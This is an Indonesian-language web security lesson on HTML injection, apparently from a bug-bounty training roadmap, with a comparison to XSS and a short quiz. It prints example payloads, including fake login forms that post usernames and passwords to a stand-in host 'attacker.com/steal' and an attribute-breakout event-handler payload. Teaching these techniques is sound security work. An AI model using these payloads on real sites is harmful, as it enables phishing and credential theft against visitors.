Kembali ke Roadmap
// PHASE 3 · HTML Injection

HTML Injection

Apa Itu HTML Injection?

HTML Injection terjadi ketika input user dimasukkan ke halaman web tanpa sanitasi, memungkinkan attacker menyisipkan tag HTML arbitrary. Berbeda dengan XSS yang mengeksekusi JavaScript, HTML Injection "hanya" memanipulasi tampilan dan struktur halaman.

HTML Injection vs XSS: Keduanya mirip, bedanya HTML Injection tidak mengeksekusi script. Tapi jangan anggap remeh — HTML Injection tetap bisa digunakan untuk phishing, defacement, dan social engineering yang sangat meyakinkan karena konten jahat muncul di domain asli.

Contoh Dasar

Bayangkan halaman yang menampilkan nama user dari URL:

# URL normal https://site.com/welcome?name=Rizky # Output: "Selamat datang, Rizky!" # HTML Injection https://site.com/welcome?name=<h1>HACKED</h1> # Output: menampilkan heading besar "HACKED" di halaman! # Lebih berbahaya — form palsu https://site.com/welcome?name=<form action="https://attacker.com"> <input type="text" placeholder="Masukkan password"> <input type="submit" value="Login"></form>

Tipe HTML Injection

1. Stored HTML Injection

Payload tersimpan di server dan ditampilkan ke semua pengunjung — mirip Stored XSS tapi tanpa JavaScript.

# Contoh: form komentar yang tidak disanitasi Nama: <b>Admin</b> Komentar: <marquee>Ini komentar berbahaya!</marquee> # Form login palsu tersimpan di komentar <div style="background:#fff;padding:20px"> <h3>Session expired, please login again</h3> <form action="https://attacker.com/steal"> <input name="user" placeholder="Username"> <input type="password" name="pass" placeholder="Password"> <button>Login</button> </form> </div>

2. Reflected HTML Injection

Payload direfleksikan langsung dari URL ke halaman — butuh korban mengklik link berbahaya.

Dampak HTML Injection

SeranganCaraDampak
PhishingInject form login palsu di domain asliCredential theft — sangat meyakinkan!
DefacementInject konten mengganti tampilan halamanReputasi rusak
RedirectInject meta refresh atau linkRedirect ke halaman jahat
Social EngineeringInject pesan palsu dari "admin"Korban tertipu melakukan aksi berbahaya

Cara Menemukan HTML Injection

# Test sederhana — masukkan tag HTML dasar <b>test</b> <i>test</i> <h1>test</h1> # Jika teks muncul tebal/miring/besar = HTML Injection! # Jika muncul sebagai teks literal = sudah di-encode dengan benar # Cek di mana input muncul: # - Langsung di body halaman → HTML Injection # - Di dalam atribut tag → Attribute Injection # - Di dalam JavaScript → JS Injection / XSS

Attribute Injection

Varian HTML Injection di mana input masuk ke dalam atribut tag HTML:

# Kode yang vulnerable <input value="[USER_INPUT]"> # Payload — tutup atribut, tambah event handler " autofocus onfocus="alert(1) # Hasil: <input value="" autofocus onfocus="alert(1)"> # Ini sebenarnya sudah masuk ke XSS territory!

Perbedaan dengan XSS dalam Bug Bounty

AspekHTML InjectionXSS
Script executionTidakYa
Severity tipikalLow–MediumMedium–High
Cookie theftTidak langsungYa (jika no HttpOnly)
Phishing potentialTinggiSangat tinggi
Tips severity: Saat melaporkan HTML Injection, tunjukkan PoC phishing form yang realistis — form login palsu di domain asli. Ini akan meningkatkan severity dari Low ke Medium karena dampak phishing yang sangat meyakinkan bagi korban.
// CEK PEMAHAMAN
Mengapa HTML Injection yang menampilkan form login palsu di domain asli sangat berbahaya meski tidak ada JavaScript yang dieksekusi?
AKarena bisa langsung mencuri cookie session korban
BForm palsu muncul di domain asli sehingga sangat meyakinkan — korban tidak curiga meski URL tetap domain legitimate
CMenyebabkan Remote Code Execution di server
DBisa mengakses database server secara langsung
JavaScript Analysis Open Redirect